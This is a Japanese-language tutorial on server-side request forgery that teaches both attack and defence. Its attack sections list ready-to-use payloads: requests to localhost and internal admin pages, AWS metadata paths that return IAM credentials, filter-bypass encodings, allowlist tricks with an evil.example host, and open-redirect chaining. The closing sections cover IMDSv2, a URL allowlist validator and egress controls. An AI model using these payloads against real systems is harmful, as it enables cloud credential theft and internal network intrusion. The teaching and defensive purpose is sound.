SSRF(サーバーサイドリクエストフォージェリ)は、近年のクラウド時代に最も影響が拡大した脆弱性の一つです。PortSwigger が定義する通り「サーバーサイドアプリに、意図しない宛先へリクエストを送らせる」もので、サーバーの信頼を借りてファイアウォールの内側に手を伸ばせるところに本質的な怖さがあります。本記事は、その攻撃手法を公式に忠実に解説します。
絶対の前提: 全ペイロードは 合法ラボ または許可スコープでのみ。メタデータ奪取は本物のクラウド環境では重大インシデントです。自分の検証環境か、明示的に許可された範囲を超えないこと(→ 法律ガイド)。地図は ピラー。
1. SSRFの本質 — 行き先を入力に委ねる
「URLを渡すと、その内容を取得して返す/処理する」機能が温床です。プレビュー生成、Webhook、PDF化、画像取得、URLインポートなど。
# 脆弱な機能:商品在庫を外部APIから取得する。サーバーが url へアクセスする
POST /product/stock HTTP/1.1
Host: lab.example
Content-Type: application/x-www-form-urlencoded
stockApi=http://stock.internal:8080/check?productId=1
この stockApi を攻撃者が差し替えられるなら、サーバーは言われた先へ何にでもアクセスします。
2. サーバー自身・内部システムへの到達
2.1 localhost(ループバック)
管理機能は「ローカルからの要求は信頼」しがちです。そこを突きます。
stockApi=http://localhost/admin # 外部からは入れない管理画面へ
stockApi=http://127.0.0.1/admin/delete?user=carlos
2.2 内部ネットワーク
内部システムは認証が緩く、外部からは到達不能——だからこそ格好の標的です。私設アドレス帯(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)を走査します。
stockApi=http://192.168.0.68/admin # 内部ホストの管理面
# ブラインドなら、応答時間や成否で内部のポート/ホストの存在を推測(内部ポートスキャン)
3. 【最重要】クラウドメタデータの奪取
クラウド上のインスタンスは、リンクローカルアドレス 169.254.169.254 で「インスタンスメタデータサービス(IMDS)」にアクセスできます。ここにはIAMの一時認証情報が含まれ得るため、SSRFで到達できるとクラウド資産全体への横展開につながります。
# AWS(IMDSv1:トークン不要で読めてしまう=危険)
stockApi=http://169.254.169.254/latest/meta-data/iam/security-credentials/
stockApi=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role名>
# → AccessKeyId / SecretAccessKey / Token が返る(奪取されると致命的)
# GCP(メタデータには専用ヘッダが要る)
# Metadata-Flavor: Google ヘッダ付きで /computeMetadata/v1/ へ
防御の核:IMDSv2
AWSの IMDSv2 は、メタデータ取得前にPUTでセッショントークンを取得することを必須化し、単純なGETベースのSSRFを無力化します。
# IMDSv2:まずトークンをPUTで取得しないと、その後のGETが拒否される
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/
多くのSSRFは単純なGETなので、IMDSv2の強制(HttpTokens: required)だけでメタデータ奪取リスクが大きく下がります。EC2/ECS/EKSでは必ず有効化しましょう。
4. フィルタ回避 — ブラックリスト/ホワイトリストの限界
4.1 ブラックリスト回避
「127.0.0.1 や localhost を含むなら拒否」——この手の防御は等価表現で破られます。
http://127.1/ # 短縮表記
http://0x7f000001/ # 16進
http://2130706433/ # 10進(127.0.0.1の整数値)
http://[::1]/ # IPv6ループバック
http://127.0.0.1.nip.io/ # DNSで127.0.0.1へ解決される名前
http://localhost%2F..%2F.../ # URLパース不整合を突く
4.2 ホワイトリスト回避
「特定ドメインで始まるなら許可」も、URLパーサの曖昧さで欺けます。
http://expected-host@evil.example/ # @ の前は資格情報、実際の宛先は evil
http://evil.example#expected-host # フラグメントで誤認させる
http://expected-host.evil.example/ # サブドメインに偽装
4.3 オープンリダイレクト経由
許可されたドメインにオープンリダイレクトがあれば、そこを踏み台にメタデータへ飛ばせます。
# 許可されたホストの /redirect が任意先へ飛ばすなら、それ経由でメタデータへ
stockApi=http://allowed-host/redirect?url=http://169.254.169.254/latest/meta-data/
Next.jsでのオープンリダイレクト対策は 専用ガイド を参照。SSRFとオープンリダイレクトは連鎖するため、両方を塞ぐ必要があります。
5. ブラインドSSRF — レスポンスが返らなくても
PortSwigger の定義通り、バックエンドはリクエストを出すが、その応答はフロントに返らないのがブラインドSSRF。検出には**OAST(アウトオブバンド)**を使います。
# Burp Collaborator のサブドメインを宛先にして、DNS/HTTPの着信を観測する
stockApi=http://<collaborator-id>.oastify.com/
# 着信があれば「サーバーが外部へリクエストを出せる」ことの証明 → SSRF確定
ブラインドでも、内部ポートの開閉を応答時間で推測したり、内部の別脆弱性と連鎖してRCEに至ることがあります。「見えない=安全」ではないのがSSRFの怖さです。
6. 【守る側】根本対策 — 行き先をユーザーに決めさせない
攻撃を理解したら、設計でどう潰すか。PortSwigger と OWASP SSRF Prevention の要諦は許可リスト方式です。
// ✅ 許可リスト:スキーム・ホスト・ポートを固定し、それ以外は即拒否
const ALLOWED_HOSTS = new Set(["api.partner.example", "cdn.partner.example"]);
function assertSafeUrl(raw: string): URL {
const url = new URL(raw);
// 1) スキームを https に限定(file: gopher: dict: 等を排除)
if (url.protocol !== "https:") throw new Error("scheme not allowed");
// 2) ホストを許可リストで検証(前方一致や正規表現ではなく完全一致)
if (!ALLOWED_HOSTS.has(url.hostname)) throw new Error("host not allowed");
// 3) 認証情報埋め込み(user@host)を拒否
if (url.username || url.password) throw new Error("credentials in url");
return url;
}
ただし、これだけではDNSリバインディング(解決時に内部IPへ切り替わる)に弱い。多層で固めます。
- 解決後のIPを検証:名前解決した結果が私設/リンクローカル帯(
169.254.0.0/16含む)でないことを、接続直前にチェック。 - リダイレクトを追わない設定にする(追うなら各ホップを再検証)。
- メタデータ遮断:
169.254.169.254への到達をネットワーク層で遮断し、IMDSv2を強制(§3)。 - egress制御:ワークロードからの外向き通信を、必要先だけに制限(NAT/SG/ネットワークポリシー)。
- WAFは一枚:パターン検出は回避され得るので、設計(許可リスト)が主、WAFは従。
Next.js の Server Actions / Route Handlers におけるSSRF対策の実装パターンは 専用ガイド で、クラウド側の多層防御は WAF・多層防御ガイド で詳説しています。
7. まとめ
- 本質:行き先をユーザー入力に委ねると、サーバーの信頼を借りて内部へ到達される。
- 最危険標的:クラウドメタデータ(
169.254.169.254)→ IAM認証情報奪取。IMDSv2強制が直接の緩和。 - フィルタは破れる:ブラックリストは別表記、ホワイトリストは
@/サブドメイン、オープンリダイレクト経由。 - ブラインドはOASTで検出:見えなくても外部着信が証拠。
- 根本対策:許可リスト + 解決後IP検証 + メタデータ遮断 + egress制御。WAFは従。
次は、現代の認証基盤を支える JWT攻撃の完全攻略 へ。